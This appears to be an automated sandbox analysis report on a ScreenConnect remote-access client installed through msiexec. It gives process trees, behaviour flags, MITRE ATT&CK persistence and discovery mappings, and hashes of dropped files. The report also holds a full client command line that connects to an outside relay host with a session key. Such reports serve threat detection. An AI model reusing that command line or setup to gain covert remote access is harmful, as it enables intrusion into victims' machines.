    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5648,i,7947643629116560081,15004857269677488083,262144 --field-trial-handle=2976,i,8996546928517694098,3470253890048182526,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6036

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B42228BC406E40E0508C0A3113108C61
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI751B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240678296 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:4608
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 1DEEB69B9DBADB11C8DB33A932585356 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2172

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1236

C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=hitstp.com&p=8041&s=6f3417ca-6a2b-48f2-94a3-770443056cf9&k=BgIAAACkAABSU0ExAAgAAAEAAQB5pvd%2f0DKk64YAN%2b1fi1hQUZVQZI5oVgCR1OiCUWEAu38AQTb6ne29mBsdnBNrO%2bqHgwtHOkzc8Q9pIvUur65%2bE31wm3s92ZVYc8ldL2%2f9fRQCa8wgmfgcs3i2h3%2btTnnP9ZKoWWmxbpEmzgVwG9wzQCrhGLYFOA5WgnML8fM3x%2fzowFf2MUOegKyeXryhev%2fPjLoBn09uvZ%2bjTKeDhCekRTVTqXJEesGafJaCFYcbcLui0NJJbHV9w3Egkua6Cr4TtA%2fCMmxt1ziHZHSOiGUIWmMsoV2yhT%2f9ije%2fYrjaWrgOzvxsqbXhp9Il9bZotyo6M9pym4shuTVmfkF4gGXA"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe" "RunRole" "840ef7af-54d0-430a-b258-37a780901b07" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4356

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:2528

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1932

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e587398.rbs

Path C:\Config.Msi\e587398.rbs
Size 214KB
SHA256 e3431f1ff5199db496b6d4dad86d90cfa0c687a5eb1523a5cef8f785f1b371ef
MD5 0a2d9a49cdea1fedbe3f3fb3e4cd3a51
SHA1 385526bb97d9035eca3dab351584b8089f0f4f35
SHA512 e1c724e9dece3c2e2cf96550e8be99f97e8931eae9637d94765b154acf31787ae89a359d6883755770e7b5cc483d5ee5854ddbe246d0937aba8d1c11dae502d6
SSDEEP 3072:gN9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGH:gNuH2aCGw1ST1wQLdqvH
TLSH
T10D248C216480807EE7FA1A32D93F9A61BE7DF6641760C59EC3848C1E9D604C06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.Override.resources
Size 25KB
SHA256 08ef947cc485b9c7e02f0f0e2ab3d3769f307c366ee5658fa2ce7c42f824ebfd
MD5 694f1421d57a19dc5a82d4bc86d94e09
SHA1 ea57654ae14bc27ff824c8cef778c8422f956966
SHA512 3a38dc86725bfedc4d7ff1f2ff06f797ee8830b200c65c81e76756ccaf3720b73ffd12ffdc00564ffce7d2e5ef6727606031332da550a21d0548ff4a38157efb
SSDEEP 384:r5liAd3XjDoG0SBPuiOizFIXbeFFNvW8tFqx:vxtXjD70g2iOO+4nu8tFqx
TLSH
T196C239B528DCC99BC3AB4271AFB72AEDF1323FE8E3902315417842B19AF615456C0F95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.en-US.resources
Size 49KB
SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
MD5 9fc69f433805d115364f7fddeae45878
SHA1 36e93cc0f60688dd052c0b074fdd9e4dfa69c78e
SHA512 30fe97ce40cea06b68f11e426453b4e8eab06684c6921eeac52e3e737755afb18ce562b1acf799d4a3bbb767b2db1b25abe5d5abd0b72341a472213035a043b4
SSDEEP 1536:YU3a22xQvG6HpbkkyJIfmTkN/gFYA9JwdL4hhK71ATJKeParg9:YU3a22xQJHpbkkyJIfmTkN/gFYA9JwdM
TLSH
T10B331E1277FD0A58F5F36F05BE7A94619937BC6A2E25C06F1028855E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.resources
Size 28KB
SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
MD5 ed9f87bcf99cda39c847a5ebe755a4b9
SHA1 c7cd54935424494b50f132e016d448ecac6b58c3
SHA512 ef4194b7d0173056953e0a94544108b6c3634c1e0a6088a481fd663ad4d34db1f219d9f4cdb82c7116911c4d360cc6d2d9bb4fa57db9d4af68ab65abadba1ad1
SSDEEP 768:Mcfv39mCOVPZrXgTf6vEVm6zjpGYUElerG49:PfP4COVPZrXgTf6v0fzNGqn49
TLSH
T1CFD2E0CE33BAECADE67E6F7E39D94070123B6F022C625212B8061415243748D2B68F5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Client.dll
Size 192KB
SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
MD5 b25e25d654607d0ef84403f836017731
SHA1 03f92b570ce070dae7146a390041804375c718c0
SHA512 a9ae00cafd369dfeb21d8ba3f62787c98bc4798e6d6c8ce9631b0f8c9caaecc8fcda78c76df0b74838aabcb308c7893a69a97d0fc1a87a78e485798bd98d5de0
SSDEEP 3072:r5jDSMscgsVrgI7uyGhsqVFJRTcyzvDqSmzDvJXYk:9DSM1VsIRYPJukqSmG
TLSH
T15D144CA663685D2AEADF4973B0506030CA75ED25A423F3DE4E04F9F919B33818E553E3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.dll
Size 67KB
SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
MD5 df724b974bf67241993a75cf80ebd098
SHA1 7ea91f2529bed8e16f3e65bfc50677e46c21f8ee
SHA512 bcc9038b3e3b7ab3cea30ffa62ebb4145bfc6bff11ebd2ff4e94f59ef44aced0eb7928620421324a2ab89ae76d3677b30fd84889c220a9ee3021425c028eba5d
SSDEEP 1536:POZLdn4uRt3p/V1gwk5GEPVQoV3l7jg8bdy:PEqUJgxNtQoV1c
TLSH
T131632C02A3BD8A36C9EF5A787465F1450B708E02E463FB9CADCDA4DB1B563E1190139F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
MD5 b0d1b0112506eaf72c7154fef004225a
SHA1 3cb9cd6a9ceb37751ad16165865cb338be39bbee
SHA512 61505b015bb06ce935a5adaa55211a6b650cdb7cd60a6dcc2add8596fa674da11059763e965101ac3e59406f4bd54463f0c8555acf6b660f573a2cdccf0d5925
SSDEEP 1536:Dg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgEdU0HM17RA7:shbNDxZGXfdHrX7rAc6myJkgEU0H+NQ
TLSH
T1AE936B13B5C28872D573093158E0DAB09A3FF9615E21DEAB3798022E4F642C1BE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsAuthenticationPackage.dll
Size 254KB
SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
MD5 5adcb5ae1a1690be69fd22bdf3c2db60
SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
TLSH
T1C5448E15B7A40CB4EC77823888535A06E776BC160760E6CF03E0825ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe
Size 595KB
SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
MD5 e52d6ed40d9d4ae38f9a36af49eff819
SHA1 d72f163b9cd2ca20e913e64b69015217076e412f
SHA512 fe759aa56c5bbb0b5104102edd348c67a0420f7a9291348cf03ce31322d46dac52d4335e82a6eb415703a46d2b3c936452fab161535355a65458d95261b21846
SSDEEP 6144:GHv8AU89LWJ2dNq9jGyYSMCoI68zg/KWcA3rlz1vH5kqb1JCZ2cNI2/C4I159uvZ:ueCWEdNq4yP76wSPrlz1vHCqb10u9FK
TLSH
T1FDD46A62737CDA7AC5FF0779B0F11A2457B0E8226285E78F5804E5E90E963829D443FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsCredentialProvider.dll
Size 837KB
SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
MD5 a81497b417d4f67ea6cab399bd3a71f8
SHA1 5738c90789e62bf046024ceea96cbf2665bccd9d
SHA512 a43dbf305579b193d2897af0bd8cff528ea93b9fb93448b5cc6b43a6763ac16abb0752cf83d9b4ebbfc0a9d92084d12db3c69655f8ff424e53a4baa7fad4b781
SSDEEP 12288:tMYkEC5OqMuIyZiBP+6EEKNPQXnRHb+mZ:tfQ5ZMuIyZiBW61KSXRHb+I
TLSH
T138055B1BE79440BAC0ADC2B5C35BA736BBF6F4864514B28F07D40A227E6BF506B1D784
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\app.config
Size 1KB
SHA256 184820b77dc6fc22b8a8bd7df71675dbc2a6d2e635c48adb71f3bc3cc0ed5bac
MD5 33e3d05f96c3f852c9a20bb8f3a12879
SHA1 8a989a1c7275e710099a6c135b889a6729efb993
SHA512 398b53c7450f40cf449a1a101ae0fe0a642d2d7268ed276eb421652054d692bbd1a4f5a32ee369f6e529ebfa15a0cf70a4f271fad8753fca1d9e4e9a4ae5ea7d
TLSH
T13121731DB4C0AF5915736632E63102D1ED7049231266A0E478DE3167AF70ACA4BF32EA
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\system.config
Size 940B
SHA256 3f0dca3ca0f948199949b32a56558ea0ef1af6f308f4319bd696adda97e98324
MD5 39d2d4e04fff095847b76b51fb7f3a76
SHA1 225492147a0c00f09a25034174f46c41d950bc93
SHA512 bb26082c6c39f575d4421cd4854f36966a024f3bbb6ddcca4de307d910d20afb5544742e473e9fbc39e11edea4d0f7c348a060472417ccbea1f7e579cff8787c
TLSH
T16711637131C0B95717335D62C6058BC0DDF2269F140620DC757F62760BB2AAB0BE3699
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3516_1525188967\manifest.json
Size 160B
SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
MD5 c3911ceb35539db42e5654bdd60ac956
SHA1 71be0751e5fc583b119730dbceb2c723f2389f6c
SHA512 d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331
TLSH
T1F1C08C73CC08AE7911B14B371B214642E3B8030B600039093A32084C0BA47B00262328
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3516_2073511983\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

ea6325e9-2dad-4e20-8dc7-b88cae0de5c8.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\ea6325e9-2dad-4e20-8dc7-b88cae0de5c8.tmp
Size 105KB
SHA256 b82f3ed4d6d857ec07ec9208e2b4720b0252188b092045a9944c3bf4df2dc466
MD5 2fca869d7ed50b536ecd2d93f4589e0f
SHA1 85f04ab3ab5e3656ccd7dc5b241cadb7d23ae9cd
SHA512 612f9306b4e0a8bd9c445d1b4cdf9d1d2dd5c92ac76295b6aeb1fdba6fde5a8ebc06afadaf416b8ce69622e767cb5fd85f0a6e22e0f16dc33863adf3980129cb
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
TLSH
T1E3B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

protocols.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.12\protocols.json
Size 3KB
SHA256 2edf732da5fd827859e7a1a5b69a4a622cfc416f60a6ae04154d5aad3a1bccec
MD5 5e2067a92dcfcb05537479c384a89725
SHA1 eeed29b07d865ac4d46629fddadad629d0ad4e2b
SHA512 c96c5f9cb7a169ad91b070b567cf9fa8f35951ccc5aa930e97dbeccbeac27f7e9dde1379138c9ba6b0d10339f9cb053ef21f19f06d7560f97d5d23a27c8ed4f6
TLSH
T17D7184B7862088194E360AB4AA0DF10DF93702DF2AF598D3B27D455F1F712BB3946249
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b976ac8901ffd41ec02a04aa583bc9d11350f0f9f714fb92d3341bb0bde4629f
MD5 504ce80b644a85a7e68d85bd24169289
SHA1 1f740a722dfa97fc8fb30626b0e3d6217e4a9864
SHA512 9406464a4f6becd85591c12af8a97fdecfa2208649138f347fb50d3e28f1583adec061050924fa0405e46eb75af7e299e6564c2ed039db9d82c50326da32a3c5
TLSH
T19ED08023371D7582F75B41759053D7025A1680756463F701B325D41C9A750C9F28B1C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 0e2b315c59b1bfe8e547b0017a92548af7c81e08409e987a2628ad74667b4fec
MD5 7ab616f55807e9de5195a40c50f65e5b
SHA1 917a7797f800e5f30a1b9b8125127968246d7ce9
SHA512 da10f29803a072f42a2c102da0bee745cf1b1d47836e3d30e38b1e66beeb1abeaf2eb47b6c07b23682098f70fe2a4b29a0777eefa1380d0fff2509ff32d9b356
TLSH
T171D08023771D7182F35B41759053D7025A1680756463B701B325D41C9A740C9F28B1C2
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_0000b3

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0000b3
Size 31KB
SHA256 5a76d2231ed8f84cb5936f8d3042f6c30b084d46646d9976969ec7939e8f0c54
MD5 701eefeb1fdb0fb7c4c621b5b096c8c6
SHA1 ec61e4d2ffebf7d72bdc430751d1abb87b920833
SHA512 cca1dfe210072cc0bcf4412c5a8da0be2c499bdcc7568ab2a56af98b6f8f0ccbcffc06bd8e3d239f57fa637a8065e97876b6f41c7880d1a88165c9846af7a545
SSDEEP 768:bNUgQpLqffj3oGFgoMiCK33K8MfqojuHuGbC0Og2FkI:bNcAk7k31A1jW2fg2FkI
TLSH
T1B4E2F13327838F5EDE3217B9E602D76F9B0EB363251E415449B0631EAA46450DF62E8F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 a7db61f593d243063e3d5a9b3641114dfa38b45c4970fab4afa872b2e27bb794
MD5 96ad4dcf90ad70bd0160fd463b1f1437
SHA1 e56c0e1d446bdc842aba0e11852ae3a844b81b76
SHA512 c335374005435f92a3d4abd46e6be053918bc4ad8d1c3fe9ed26c6becba8de34be9e7b7009a7f1bc51c5444efda77b12d4834ad821505ec2be0544588d832b9c
SSDEEP 96:L1EHVbtLiKck5jW1Kj+r5kZTGLgJs18wAtwKJrcVIuo:JE1btGKX5jj+di0gJs18LrJrcNo
TLSH
T133A13D318666C0B2EB550D70A0C12E4C3A7589EBF6F31EC62B9C4E36933277453D85B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe593203.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe593203.TMP
Size 3KB
SHA256 763697a6af7744e78521070c283d68bcbc70be35d7be9a18a8cf065584fe5b7f
MD5 2ab8f1d79cffe47fe66a1bc0706f7d47
SHA1 24683c570102bbfdf1d3661716ce48c2b6ad72ee
SHA512 97b70f74b68d7c524299e8a7dec6480c5b96d4d7ad40540980e087a44a585d25d2f8f5a23334f32fc239595758cea5989aa7b6c47cbc395b762454f43a18e6c5
TLSH
T128714E348A16C4B2D7461DB050C12D4D727A8AEBFAF31ED6239C4239237277497E99B8
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir\the-real-index
Size 96B
SHA256 231d7b1bddc3b1176947b78b83281b504c91509e7133c2adad15e3ace2f410c2
MD5 9185fbfee7cf9d1e12e7ddf0e2c2288f
SHA1 18aaff98952d2009c19413f273a0ab821b91c2c3
SHA512 eb56180eab566ed0f0d3ad5a009c0c842ab7e6de95523eba5cced5b48254cfac916d56e0551b30936db1d5ccd4ba6124dffb222279eacdce020f99ef3f57d61b
TLSH
T183B0127030805802FD4512B0A0874C0025132C01020286939CF0490441033C402D39D0
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 7c96b8b5aea4c3c10183d12a899b5c4e3cf0d085c0ec6f85293a381f7b84968e
MD5 08cbd80843e2c8d47eacacd302de929a
SHA1 69acadaf8d281ad0afdff998f44755f90c3533a5
SHA512 0c3c4542cd34b358529e2443530a6d4f0dc50a18365e6a44959bf10116f24cc4eb7f6edb4170201bf40c84df04f7720cbae32e43761afdec2726b7c7244fe1ff
SSDEEP 192:Da7aZsuS8DgLDKX9DADXpDT6IYbGDAe5nnmD5bb2iDDt9:Da7aZsuS8DgLDKX9DADXpDT6IYbGDAeI
TLSH
T139E14CB387F45E2DCD2252F5AB362E2BCD190914632C3D6AC6E46F1B93E1470E101A9E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 36e5e332458c138f3173b90b4b11db0771c53a27c60a1fe1c3f77aa23d42b4b6
MD5 dd4645661b07e7af146564199e6378c3
SHA1 4a972b91ff52217b2806336f6b2ed9f1b2a90423
SHA512 1aeb9f51fe299ad017bae1affd30756c1b144f42ca69d049842147bb5bfe7144ea0e2acd80cb8d02f39eb568ae6011febcfbae32a28b708245a1982e48634c6b
SSDEEP 192:sxZR/yM/jK1Ml8MiJ/f3sHUwIdpMIHW6+WNILL/eS6wGPVQ6iIrKHhIg4J:sxZR7qJ/f3sHURhHbw/e7N6c
TLSH
T1FE52E912AA345977CCDBD209F995BB53D2F5057292900E98AAFCD91C00E7BED2207C5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 ea49057d3b4e8a2739a98e4bde07394c626a30140d16ccbc569d0216f23aa36e
MD5 66e90652e6fb66f556a656614ddfeb06
SHA1 6774402c41b382b1128fde0b125437ad77e9fc1e
SHA512 b5a0ebfeec6d2725617a5d561ee4eeb31acafcb7c5d199d432caca1285c89544bdba99c451230ed24b5c641b39d7ab9156785fa0eb870e36206c459867ac27ab
SSDEEP 768:wysqxAlWvJD6T8F1+UoAYDCx9Tuqh0VfUC9xbog/OVbTY4Ll6AR9vroJ3Y:wysqxAlWvJD6Tu1jaOTY4LAs98JI
TLSH
T11BE21B3B694CC77E4F840E5CEC2AAED76ED801CBA698895447FA884C03C76EB11175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 0ac3b19967e4f69c4e5dbf93a1450c600884d51dafb624828ca230bc20e4ac19
MD5 b5ae68f9b281206b9ed7c3b6b54eb872
SHA1 8f56393f9bf797bc3c786a62e43a2b1d07b02970
SHA512 805a913855bdb30581af7ae34836a6e024da855a3c00e492c491ac10c45793e6aaeaa229b941be676c933cd033a7d3fb094ef4f8652b68ea7a930505ad5d764a
TLSH
T183A0021616D48892C94183B4D8864DD477119CD883229257C0EC5465FDD219041D2158
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5924d4.TMP

